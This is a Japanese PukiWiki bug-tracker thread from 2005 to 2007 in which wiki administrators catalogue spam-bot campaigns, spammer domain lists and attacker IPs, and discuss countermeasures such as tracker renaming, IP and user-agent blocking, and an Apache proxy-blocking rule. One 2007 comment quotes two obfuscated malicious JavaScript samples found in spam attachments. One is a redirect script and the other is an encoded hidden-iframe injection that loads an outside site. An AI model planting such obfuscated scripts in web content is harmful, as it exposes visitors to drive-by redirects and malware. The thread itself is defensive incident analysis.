[spam] Wiki Spamming†
- ページ: BugTrack
- 投稿者: henoheno
- 優先順位: 普通
- 状態: 着手
- カテゴリー: その他
- 投稿日: 2005-01-02 (日) 17:52:48
- バージョン:
メッセージ†
2004年末から、とうとう日本語のWikiもSPAMボットの対象に含まれてきた様です。一度に数十単位のWikiサイトが自動修正ロボットによる書き込みを受けています。以下にその概要、動向などをまとめます。
- ※PukiWiki.org などには以前から単発でSPAMは来ていました。Hiki関係では2004年8月ごろから、連発するSPAM書き込みが問題になっていたようです
関連情報: 既存のブロックリスト†
- WIKIBLACKLIST -- http:// wikiblacklist.blogspot.com/
- クライアントのIPアドレス、DNS名ではじくタイプ
- Pear: Net_DNSBL -- Checks if a given Host or URL is listed on an DNSBL or SURBL
- Bulkfeeds: SPAM ブラックリストの公開、Submission API と MT プラグイン
関連情報: 既存のスパム対策†
- WordPress Blacklist で、コメントスパム撃退 -- リンク切れ
- 女子十二月号: MovableTypeコメントスパム対策
- Wiki Spam Report -- http:// groups.google.co.jp/groups?hl=ja&c2coff=1&threadm=ee2a733e04121404417e26f337%40mail.gmail.com&frame=on
- www.rubygarden.org の場合。IPアドレスから名前が引けなかったり、そのWikiのユーザー情報を持たないアクセスを、全く見かけが同じの別のWikiに送り、自由に荒らさせる。(荒らした結果も送りつけるため、相手にはわからない)
歪曲文字画像によるセキュリティ†
- Passion For The Future: スケベ心で巨富を築く技術？テストステロンコンピューティング
関連情報: 検知について†
- とにかく $notify を 1 にして、更新履歴(とクライアントのIPアドレス等)をメールで受け取る様にしましょう。
関連情報: 駆除作業のこつ†
- どこに潜んでいるか、状況確認などはGoogleが教えてくれる (※「web全体で検索」)
- Googleのキャッシュを洗え (ページ全てがSPAMであっても、いきなり削除せず、まずは「SPAMs are removed」とでも書いたメッセージに更新する等。可能であればそれを凍結)
- 見知らぬWikiにSPAMを見かけたら、他のページも疑え
- (MoinMoinの場合) PageSize を一覧する機能を用い、サイズの大きなページからチェックするのが有効
- (RecentChanges などで一覧した場合)同じ時刻、同じホストによる書き込みは全て怪しい
- Wikiサイトの検索機能を使う
- (サマリーを入力するWikiの場合) 「Spam removal」「Despam」などと書いておく
- (アカウントを要求するWikiの中にSPAMがある場合) そのシステムには捨てアカウントを作ることができるのだろう。SpamRemover といったアカウントで除去可能。
調査件駆除中: SPAMからのメッセージ†
海外のWiki SPAMを探索中に同じメッセージを何度も見かけると、さすがに慣れて来ます。それでこれがまた、検索のキーにもなるんですよね。
おまえのリンクも消してやる (HOW and who are YOU)†
PLEASE, IF YOU ADD YOUR LINKS DON'T DELETE MY LINKS.
IF YOU'LL DELETE MY LINKS I'LL DELETE YOURS!!!
※下に続くのは他のサイトでもSPAMされているURLの列挙
日本のすばらしいリンクを毎日お届け†
Hiki方面には2004/10ごろから登場していたようですね。
**************Please do not delete,I send this message only one time,
in order to introduce some japan website.IF you delete,I will publish
every day.***************
I am from JAPAN,I want to introduce some very good JAPAN sites to you,
so you can find something about JAPAN cluture,people.
※直後に続くのは他の漢字文化圏のサイトへのリンク。例えば: *.ec51.com
漢字文化圏であることを利用して、日本を隠れ蓑にしているようです (^^;
調査件駆除中: ドメインおなかいっぱい (2005/01/04)†
ところで上記の ec51, 周辺のSPAMに使われているドメインを確認したところ、いずれも所有者が同一人物の様で・・・。
# NICKNAME: Something importer
# Whois says Shenzhen, Guangdong, China.
#.computer-importers.org
#.consumer-electronics-importers.org
#.electrical-components-importers.org
#.food-importers.org
#.furniture-importers.org
#.fashion-accessories-importers.org
#.garden-tools-importers.org
#.home-appliances-importers.org
#.home-decoration-importers.org
# NICKNAME: Something manufacturer
# Whois says Shenzhen, Guangdong, China.
#.auto-accessories-manufacturers.org
#.baby-products-manufacturers.org
#.ceramics-manufacturers.org
#.chemicals-manufacturers.org
#.clothing-manufacturers.org
#.gifts-manufacturers.org
#.glass-manufacturers.org
#.instruments-manufacturer.org
#.kitchenware-manufacturer.org
#.lamps-manufacturer.org
#.leather-manufacturer.org
#.tools-manufacturer.org
# NICKNAME: Importer King
# Whois says Shenzhen, Guangdong, China.
.ec51.com # EC51 Importer
.ec51.net #
.ec51.org # Whois Registrant Name:the same. Reserved.
.ec61.com
.china-wiki.org
.exporters-wiki.org
.importers-wiki.org
これらのドメインを取得した側の意図を推測するのは非常に難しい :P (※ニックネームはhenohenoによる)
SPAM report†
old reports†
これ以前のものは./old_reportへ移動しました。
2005/04/11†
2005/07/16†
- PukiWiki.orgへの攻撃(0:20頃～1:50頃) -- でぃあばぁ
コメント†
- devは何故かB-Wikiの所だけタイムスタンプを更新しないで定期的に書き換えられている模様。cURLを使っている？ --
- 本日14:55頃から再び攻撃中。 -- でぃあばぁ
- この不毛な戦いになんとか終止符を打たなければなりませんね。攻撃されるたびにRecentChangesがばらばらになって見にくい (^^; -- teanan
- IPとかUAとかその他色々記録してない/記録が見られない事には対処のしようが無いんじゃない？ --
- お疲れ様です。IPやUAはWebサーバーのログを見られるのであれば解ります。さもなくば、PukiWikiの更新をメールで受け取る事で記録できます。 -- henoheno
- 少なくとも今回の件に関しては禁止単語で対処出来そうです。casinoとhardcoreで結構弾けそう。 -- でぃあばぁ
- その場合、casinoとhardcoreとかバイアグラに関するまじめな話ができなくなってしまいます :D -- henoheno
- 一定時間内に同一IPから書き込めるページ数に制限をかけられないですかねぇ・・・ -- teanan
- 復旧する方にも制限がかかってしまう、諸刃の剣ではありますが (^^; -- teanan
- 同一内容の複数書き込み時にリミッターをかけるとかはどうでしょうか。同じ内容を二度も三度も書き込むのはSPAMくらいな気がします。 -- Ratbeta
- ふむふむ。しかし私が攻撃者なら、その対応には「ランダムな文字列を追加する」ことで回避できると確信するでしょう。 -- henoheno
- なら同一URLの複数書き込みを…ってもっと意味がなくなりますね (^^; -- Ratbeta
- 対応策を用意する側のコストに対して、それを回避する側のコストがなさすぎる様ですね :D 決定打というよりは手法(考え方)の一つの様です。 -- henoheno
2006-07-18 PukiWiki official/devに対する、新規ページを多数作成したり、多数のページに追記するspam†
- ページを新たに生成するもの、ページの先頭に付加するもの、コメント追加するものの3種類確認。記載される内容は若干異なるものの、URLとしては、下記のひとつのみ。
http:// www.areaseo.com
- 新たにページを生成するものは、既存のWikiNameのページを全て小文字にして生成していました。例えば、「PukiWiki」→「pukiwiki」 -- teanan
- 皆さん対応ありがとうございました/お疲れ様でした (^^; 既存のページ名をモディファイして新しいページ名を生成しているのは、Wikiのかさ増し、ないし情報の埋め込みが目的のように見えますね。 -- henoheno
- そういえばteananさんofficial/devの更新メール受け取ってみますか？ (とここに書いてみる) -- henoheno
- :CategoryDev/Document/About などにも来ていました。 -- henoheno
- おおっと、その辺は盲点でした。更新メールがないと、こういうところへのspamはわかりませんね (^^; -- teanan
- official/devの更新メールが teananさんにも届くよう、設定を追加しました。上のページについては検索で最初に見つけました :D -- henoheno
trackerへのspam攻撃†
- official:欲しいプラグイン/234 に割と頻繁*1にSPAM書き込みがあるので、ページの凍結を希望します。*2 -- okkez
- 私も見つけたら削除しています :) 内容が入っていないと凍結できないので、投稿待ちですね (^^; -- teanan
- はたして凍結で防げるかな? と思わなくもありませんが、試してみるならば適当なダミーページを作成して凍結していただいて構いませんですよ > teananさん -- henoheno
- 試してみます :) 直接postで着ているようであれば防げないかもしれませんね (^^; -- teanan
- この件、ちょっと小細工してみたいのですが良いでしょうか。具体的にはformの変数名を変えてみようかと。一時凌ぎですけどね (^^; -- teanan
- お疲れ様です。特にofficailに対するチャレンジの続きの話ですよね、どうぞどうぞ。バックアップは取りましたし、所有グループも統一しておきました。ついでに今のsf.jp webサーバー周りを見てみて下さい。ある程度ファイルも整理してあります。 -- henoheno
- 一通り終了しました。:config/plugin/trackerに「欲しいプラグイン2」を追加しました。各フィールドは xx1 みたく、少々分かりづらくしてあります。次に、従来の :config/plugin/tracker/欲しいプラグイン を 「～/欲しいプラグイン.orig」にリネームしました。 -- teanan
- 従来のURLにPOSTしても、trackerの設定がないよ、で終了するはず・・ -- teanan
- ちなみに、field名を日本語にしてしまおうと思ったのですが、tracker_listの改造が必要なのでやめました。・・・というか、trackerプラグインにパッチを当ててみたらタイムアウトするようになったので諦めました (^^; -- teanan
- 今度はBugTrackに出現したかも (^^; -- teanan
- 欲しいプラグインに来ていたspamは、とりあえず撃退できているようですね。 -- teanan
- 興味深い対処法ですね :) とりあえず凍結はあまり意味が無かったという認識でしたでしょうか。いろいろ試して、どうだったかがまとまってくると多分他の人も助かります -- henoheno
- (項目をわけました。) -- teanan
- 対策をして1ヶ月程経過しました。official:欲しいプラグインへのspamはある程度ブロックできてそうに思いますので、少しまとめておきます。 -- teanan
- trackerへのspam攻撃の対策には、定義名(:config/plugin/tracker/hogeの設定名)変更が効果的のようです。
- spam書き込みは、trackerプラグインのpostで来ていると思います。trackerの設定名が変わると、postで指定された設定名が見つけられずにエラーとなります。
- また、英語圏からのspam書き込みが目立ちますので少し工夫ができます。例えば「state」フィールドには「NY」などの単語が指定されてきていました。定義名やフィールドの定義に分かりやすい英単語を使用するのはspam送信者の理解を助けてしまいますので、避けた方が良さそうです。フィールドの定義には日本語が使えませんが、定義名に日本語を用いるのは良い考えかもしれません :)
- trackerによるspam書き込みのあったページを凍結するのは無意味です。trackerプラグインは既に存在するページへの書き込みは行いませんので、新たなページへの攻撃となります (^^;
- コンテンツ側の設定変更でとりあえず逃げられるわけですが、当然ながら、一時凌ぎにしかなりません。trackerへのspam書き込みを抑止するためには、trackerプラグインの修正が不可欠ですので、今後の課題をあげておきます。 -- teanan
- postされたtrackerデータを、直接新規ページに書き込んでしまうのは止めたほうが良いです。プレビュー画面を挟むだけでもspam書き込みの抑止になります*3。
- trackerフォームによるpostかどうか、簡単な方法でも良いので判断できるようにした方が良さそうです。
- trackerへのspamについては、昨今ではBugTrack2/200によってまとめて対策できています。コンテンツのパターンによるブロックでも結構な -- henoheno
2007/01/22 Attachを利用したspam攻撃 by Logue†
手口
- 任意のページに誘導するための任意のファイルを添付。
- 様々な被スパムblogにその添付ファイルへのリンクを張る
- スパムblogサイトをGoogleなどの検索ロボットがクロールするときに、該当添付ファイルへのリンクが評価される
- 該当添付ファイルが上位にヒットしDDos攻撃まがいのアクセス集中発生。
- 添付ファイル同士で疑似サイトを生成する
被害状況
該当添付ファイルが添付されたのは、22日で削除したのは翌日。ただし、多数のblogサイトに該当ファイルへの添付への直リンクが張り巡らせてあるため、１週間後になってからDDoS攻撃まがいのアクセスの集中が起きた。
また、htmlファイルと読み込ませないようにmime-typeを指定してあったにもかかわらず、Googleがしっかりと添付ファイルの内容をクロールしている点が気になる。
もちろん、トップページを凍結していれば防げた可能性もあるが、添付ファイルに直リンクし、被リンク数が多ければ重要だろうとされるGoogleの性質を悪用してあるため、深い階層に知らないうちに添付されている添付ファイルの場合、発覚が遅れる可能性が高い。
対策案
- 新しいタイプのspamを確認しました。これは、PukiWikiのファイル添付機能を使って何らかのHTMLを表示させ、スパム先でその添付ファイルに直リンクさせるというもののようです。これは、自分のサイトのトップページが異常に増えていたので調査したところ発覚しました。添付されていたファイルの内容は化けて実害は無いようでしたが、一応全ページにファイル添付できるwiki性質を考慮すると、今後も被害の拡大が予想されます。リファラーを解析し、調査してみた結果、すでにいくつかのPukiWikiサイトでも同様の被害にあっているようです。また、ファイルが添付されるページは、必ずしもトップページというわけではないようです。とりあえず、添付ファイルの外部直接参照はできないようにしたほうがいいと思われますが、いかがでしょうか？ -- Logue
- 開発日記/2006-12-16 spam urlとして(脆弱な設定の)wikiを狙うというのは一つの方法として確立されているはずで、恒久対策は、第三者に対する添付ファイルを禁止することでしょう。この件は検索エンジンとは絡まないと考えているのですが、検索エンジンの関与というのはどこからそのように思われたのでしょうか。別件であるならば、話を分割して下さい -- henoheno
- Googleの検索結果ですが、アドレスをよく見てください。
http://www.google.co.jp/search?q=black+movie%E3%80%80porn%E3%80%80ebony+
free&complete=1&hl=ja&lr=&safe=off&start=30&sa=N
検索結果に表示される内容がlogue.tk/?plugin=attach&pcmd=open&file=070122-06-g05.html&refer=FrontPageとなっています。一応、mime-typeはplain/textになっていますが、明らかに添付ファイルの内容がクロールされたように思われます。変なファイルがアップされたときに、それを削除するまでに１日もたってないのに、これだけのアクセスが集中し、その検索元をみると、ページではなく添付ファイルの内容にヒットしているという事象は問題だと思います。 -- Logue
- Logueさんの触れている話題(htmlファイルへを添付し、そこへのアクセス増が負荷に)に近そうな事例を見つけました。 http://tutui.net/blog/archives/326 -- henoheno
- 指定された拡張子のファイル（例えば.html）の添付を制限するような事はできないのでしょうか？ --
- (この件は、既に結論が出ている以前の話を冗長に含んでいますので、これ以上同じ話題を繰り返さないよう、整理が必要です)残念ながら、形式的な拡張子が .html であるかどうかと、中身がHTMLであるかどうかは無関係でしょう。検索エンジンやWebブラウザによっては、拡張子を無視して独自に中身を判断する可能性があります。後者の具体例はIEです。 -- henoheno
- 今週に入ってから異常な量のスパムを確認しました。その多くは、henohenoさんの言うように基本的なセキュリティ不足が原因となっているのはわかります。しかしながら、今回のスパムは、添付ファイルや設定ミスによる脆弱性が、他のWikiサイトにも被害を与えるという点で深刻なものです。他のWikiサイトをみていると、該当添付ファイルの再投稿もかなり高い頻度で再添付されているようです。たとえば、Slash.jp Wikiで添付ファイルリストを見ると、
その激しい攻防が見て取れます。少なくとも、PukiWikiのトップページで注意を呼びかけるべきではないでしょうか？ -- Logue
- 調査していたところ、IP：85.17.103.104から、070110-?-g6?.htmlという形式の名前のファイルをあちらこちらの添付可能なwikiにアップロードするロボットを確認。ただ、怖いのは発覚を遅らせるもしくは、内容を更新するため数分間隔で内容が微妙に異なる同一名のファイルを再添付している模様。被害に遭っているwikiサイトの添付ファイルのバックアップの履歴をみるとすごいことになっています！
添付されたファイルの内容は、ポルノ系のワードが多く登録されていました。いくつかの亜種がありますが、このファイルを開くと任意なサイトに飛ばされます。
<script>function ewe(ewr,erw){erw="erw".length;var rew="";var rwe="";
rew=new String(ewr);rre=rew.length;wre=rre%erw;var PI=ewr.length;
ere=rew.substring(0,rre-wre);ree=rew.substring(rre-wre,rre);
with (Math) {wew=round(log(pow(PI,0)));}var eee=ere.length;
var rer=ere.length;while (eee>=0) {eee=rer-erw*(wew+1);
var wwe=rer-erw*wew;rwe+=ere.substring(eee,wwe);wew++;}rwe+=ree;
wer+=rwe;return 0;}</script><script>var wer="";
function NF1(){ewe("rip/sc\"><.jsien/alorgab.ncf://ttp=\"hsrcpt
cri\n<spt>cri</sd\"}ateLocBe ot anne CPage=\"itlt.tmenocu {due) tr
==er)errrefnt.umedocop.t(ttes?/.!/\\f (t>irip<sce>\ntyl</sne} noay:
spl{didy >boyle<stt>");document.write(wer);return 0;}</script><script
language=javascript> NF1();</script>
このようなソースで、かなり難解になっています。最近では、
<script>eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69
%74%65%28%27%3c%69%66%72%61%6d%65%20%73%72%63%3d%68%74%74
%70%3a%2f%2f%70%72%65%76%65%64%74%72%61%66%2e%62%69%7a%2f
%73%74%72%6f%6e%67%2f%30%34%39%2f%20%77%69%64%74%68%3d%31
%20%68%65%69%67%68%74%3d%31%3e%3c%2f%69%66%72%61%6d%65%3e
%27%29%3b'));</script>
のように完全に符号化されているタイプも確認しました。かなり、危険だと思います。
203.88.152.x
203.88.155.x
219.65.75.x
80.252.248.187
も同一スパムを行っている？-- Logue
- お疲れ様です ;) 本件を厄介に思われているのは良く伝わっています。ただ、やはり問題を切り分けるテクニックが今回あまり活かされておらず、結果的に既存の話題を冗長に展開されている様に思えるのが悲しいです。 今後皆が頼りにするような情報を結果的に生み出す事はできますか? 私は誰がツッコミ担当になっても良いと思っています。Wikiの特性をうまく活用して下さい。 -- henoheno
- (0) 前提として、セキュリティホールを埋めると言うことは、失敗する可能性をゼロにする事と同じです。(参考:マーフィーの法則、 birthday attack、targetted attack) -- henoheno
- (1)「添付ファイル機能を第三者に公開する」設定となっているWebサイトを攻撃側が流用する件。これは[A]攻撃側が自力で攻撃用のWebサイトを用意したり [B]無料Webスペースを利用したり [C]静的ページを変更できるほかのWebサイトのシステムを流用したり するようなテクニックの(労力が低いタイプの)亜種です。添付ファイルにはまた厄介な特性がありますから、第三者に添付される可能性をゼロにするか、添付された内容を適切に検証する体制を用意できると証明できないならば、どのような対応も無意味です。なお、サイトごとに異なるパスワードを定義するような運用(ローカライゼーション)は無差別行為には意味がありますが、それを人力で無視して一つ一つウイルスや、URLや、JavaScriptを植え付けようとする targetted attack には無意味です。 こうした話題は以前から取り上げられているはずです。 -- henoheno
- (2)攻撃側がコンテンツにキーワードや、もし可能なら(検出のしにくい形で)JavaScriptを埋め込む件。ここではあまり話題になっていなかったかもしれませんが、1の際に使われる一般的なテクニックなので私には驚きはありません。このテクニックは一つではないので、もし興味があれば、専用のBugTrackに参考としてまとめるのが今後のためになると思います。 -- henoheno
- (3)結果的に複数のIPアドレスを発信元にする件。日常的に(結果的に)IPが偽装されている現在では(手を抜いた攻撃者以外には)残念ながらもう(永続するという意味の)決定的な情報ではありません。しかしながら、一定期間ないし一定の手順で自動的にアクセスを妨げるという防御側のテクニックが存在しており、部分的に効果があったり、なかったりするのは既知の通りです。実現方法としては コンテンツを受け取る部分で動作させる自動学習、DNSベースのRealtime Block List、応答遅延 などがあり、それぞれに利点と欠点がありますが、主な問題点はblock listの運用やその手法自体にあります。 -- henoheno
- (4)検索エンジンのクローラーの影響を下げたいというSEO的な願望。結局どれも(短期、中期、長期的に)技術的な確証がありません。また今回の根本的な原因である1の部分に穴があるのであれば、きっかけが無くなりませんから(確率的に)無意味です。 -- henoheno
- いえ、私はスクリプトに問題があるからどうにかしてくれと言ってるつもりはありません。ただ、簡単な対処法である程度被害を食い止める事ができるので注意を呼びかけて欲しいと言いたいのです。数分単位でファイルの削除と再添付を繰り返す上、直リンクを繰り返しているのでこれまでのwikiスパムと比較してサーバーへの負荷が大きいのではないでしょうか？しかし、ファイル添付に限定してCHAPTCA採用してもいい気が・・・。 -- Logue
- こんにちは。コレ、やられました。あんまり見てなかったので、全然気づきませんでした。サーバに負荷かけてたらしく止められてやっと気付きました。すごい危険ですよね・・・。(- -; こーゆーのはメンテしないといけないんだなぁ。。。 -- Yun
- 追加報告です。
先ほどの85.17.103.104からのアクセスを弾いたところ、ファイルを添付するような行動はみられなくなりましたが、依然としてアクセスが異常に増大している点と、リンク元に被害にあったほかのWikiからの異常なアクセスが目に付きました。
サーバーログを見てみると、unknown.hostforweb.comからのアクセスおよび、User-AgentがWWW-Mechanize/1.0のアクセスが異常に増大している点が見受けられました。そこで、85.17.103.104以外に、この２点を制限したところ、普段通りのアクセス数に近くなりました。
おそらく、攻撃者は、ファイルの多重添付以外に、別の場所に設置した単純なスクリプト（おそらく、cronで定期的に動かしていると思われる）によるリファラースパムも同時に行っていると推測できます。ただ、攻撃者は、なぜ、このスクリプトのUser-Agentを偽造しないのか疑問に思います。
アクセス元解析に利用しているTrackfeedのサービスの性質（JavaScriptで環境変数を取り込む）からは、このようなwikiサイトからのリファラーは一切記録されておらず、このことから推測すると攻撃者の意図はJavaScript型アクセス解析に足跡が残らないようにするために、このような処置をした可能性があります。（反対に、PukiWikiのリンク元記録はサーバーで処理するため残る）
unknown.hostforweb.comについてのwhoisをしてみても結果が奇妙です。このunknownが含まれるホストについて、少し気になったので調べてみましたが、どうやらこれは、正しいIPアドレスの逆引きホスト名が登録されていないという意味らしいです。
そうなると、攻撃者はこのhostforweb.comの脆弱性を踏み台にしてリファラースパム行為を行っているものと推測できます。別のサーバサイドスクリプトからPukiWikiの内容に干渉できる可能性は低いと思いますが、unknown.hostforweb.comに限らず、unknownを名前に含むホストは、すべて弾いてしまったほうがいいかもしれませんね。 -- Logue
- お疲れ様です。私も勘違いしている所があると思いますから、不明点があれば指摘して下さい・・・ (^^; まず、攻撃側が単純なツールを使っている場合、特に工夫せずともJavaScriptは実行されないでしょうから、JavaScriptについては気にされなくて良いかと思います。 -- henoheno
- unknown.hostforweb.com というのはPOSTした相手のIPアドレスを逆引きした結果ですね。それは hostforweb.com のDNSサーバーがたまたまそのような答えを返しているのではないでしょうか。どのような答えが返るかはDNSサーバー次第だったかと思いますので、hostforweb.com についてはうまく行くかもしれませんが、他は期待外れに終わると思います。 -- henoheno
- ホストごとに異なる名前を返す例を沢山ご存知のはずです。ISPにぶらさがっている一般ユーザーのIPアドレスとか。 -- henoheno
- あー、そうでした。unknownって書いてあったのでメールの送受信におけるunknownホストと混同していたみたいです。失礼しました。ただ、気がかりになるのは、ここの記事で、unknownは未使用アドレスに多いとかかれているところです。 -- Logue
- 今回気になるのは「他のWikiからの異常なアクセス」という下りです。いい(カモの)サイトとして、logue.tkのそのWikiのURLがあちこちに張られている状況になっていませんか?? そうならば、第三者への添付ファイルを許可する状態をすぐに止めていただきたいのですが、可能ですか? -- henoheno
- まったくないです。２／３のリンク元のwikiは、ファイル添付された形跡や、場合によってはページすら作られた形跡がない、全く関係ないリファラーでした。先ほどJavaScriptのアクセスログには一切これは残っていません。おそらく、ランダムにwikiサイトのアドレスを組み合わせているのではないでしょうか。先ほどのアクセス制限をすることで、ぴたりと止みました。 -- Logue
- 美麻Wikiでシステム的に修正している点 - 美麻Wiki http://www.miasa.info/index.php?%C8%FE%CB%E3Wiki%A4%C7%A5%B7%A5%B9%A5%C6%A5%E0%C5%AA%A4%CB%BD%A4%C0%B5%A4%B7%A4%C6%A4%A4%A4%EB%C5%C0 のattach.inc.php のパッチを当てて設定したら、htmlの添付スパムは防げました。ご報告までに・・・ -- TOBY
コメント†
別件のSPAMを見かけましたら、お知らせください。
- 「プレビュー」は残して、サブミットボタンを複数（ダミー）にするアイデア。はどうでしょう -- itochan
- んと・・・・見分けは付くんでしょうか (^^; -- teanan
- 事前に必ずプレビューを見させるとか、ログインを必要とするような仕掛けがあっても、SPAMが入っているところには入っているようです。 -- henoheno
- (tracker関連を別項目に分けました。) -- teanan
- 書評Wiki:大量のスパムで一時運営中止 http://ryouchi.seesaa.net/article/17967908.html --
http://mystery.parfait.ne.jp/wiki/
大量のスパム（2分で200通ぐらい）がやってきたので、対策をたてるまで、
一時閉鎖します。
正直、どう対処すればいいのか、途方にくれています。
ひとつひとつ丁寧にIPアドレスを弾く以外にないのでしょうか？
腹立たしいことに、書き込みのIPアドレスがいちいち変わっていて、
正直、やってられません。
いい方法をご存知の方がいらしたら ... まで連絡をお願いします。
よろしくお願いいたします。
- 本件については、Linux Wikiの様に、編集認証でブロックする(そのアカウントはユーザーと共有する)のが手早いのではないかということで、ひとまずその旨連絡しました。 -- henoheno
- 台湾のcandyzさんの所も、SPAMがひどくてトップページをPukiWikiではなくした模様。同じ対応をとりあえずアドバイス。 http://cle.linux.org.tw/wp/archives/3 -- henoheno
- teanan:自作プラグイン/comment.inc.php --
- 最近BugTrackへのSPAMが多いですねぇ。パターンから見て、ご丁寧にもフォームから投稿しているっぽいですね。 -- teanan
- そうですね。もう少し踏み込んだ(実践的な)SPAM対策がさらにいくつか必要になってきている様です。次のリリースまでの間に取り組むべき結構重たいテーマになると思います。何たって、Wikiに対するAnti SPAMをみんな模索している(一部の人はIPの判定やNGワードで全て解決すると思っている)状態で、ちゃんと役に立つ実装を作って、管理者が設定管理地獄に陥らないようなものじゃないといけませんから。 -- henoheno
- とりあえず、trackerとcommentのSPAM対策を優先すると、幸せになれる人が多そうな気がします :) -- teanan
- とりあえず、このページからリンクされていないようなので: PukiWiki/1.4/ちょっと便利に/指定単語を含むメッセージを制限する/commentプラグイン -- henoheno
- とりあえず、こちらでは、プロクシからの投稿のみ禁止することにしました。<limit>を入れているわけは、検索用クロウラーまで弾いてしまう可能性があることと、何も閲覧する上プロクシ使われることで迷惑なことはないと思ったためです。 -- Logue
<LimitExcept GET HEAD>
RewriteCond %{HTTP_CONNECTION} !keep-alive [NC,OR]
RewriteCond %{REMOTE_HOST} ^firewall [NC,OR]
RewriteCond %{REMOTE_HOST} proxy [NC,OR]
RewriteCond %{REMOTE_HOST} cache [NC,OR]
RewriteCond %{REMOTE_HOST} delegate [NC,OR]
RewriteCond %{REMOTE_HOST} ^dns [NC,OR]
RewriteCond %{REMOTE_HOST} keeper [NC,OR]
RewriteCond %{REMOTE_HOST} ^mail [NC,OR]
RewriteCond %{REMOTE_HOST} ^www [NC,OR]
RewriteCond %{HTTP_CACHE_CONTROL} DelGate [NC]
RewriteCond %{HTTP_USER_AGENT} via [NC]
RewriteCond %{HTTP_USER_AGENT} squid [NC]
RewriteCond %{HTTP_USER_AGENT} delegate [NC]
RewriteCond %{HTTP_USER_AGENT} httpd [NC]
RewriteCond %{HTTP_USER_AGENT} proxy [NC]
RewriteCond %{HTTP_USER_AGENT} cache [NC]
RewriteCond %{HTTP:Via} !^$ [OR]
RewriteCond %{HTTP_FORWARDED} !^$ [OR]
RewriteCond %{HTTP:X-Forwarded} !^$ [OR]
RewriteCond %{HTTP:Client-IP} ^$ [OR]
RewriteCond %{HTTP:Forwarded-For} ^$ [OR]
RewriteCond %{HTTP:x-forwarded-for} ^$
RewriteCond DUMMY CONDITION
RewriteRule ^.*$ - [F]
</LimitExcept>
ただ単に掲示板用のプロクシキックのスクリプトをRewriteCondで書き直しただけで、文法に間違いとかありそうですが、それなりに効果はあるかと。
ただ、Torを悪用したbotの対処方法が思いつかない・・・。
![[PukiWiki]](image/pukiwiki-dev.png "[PukiWiki]")
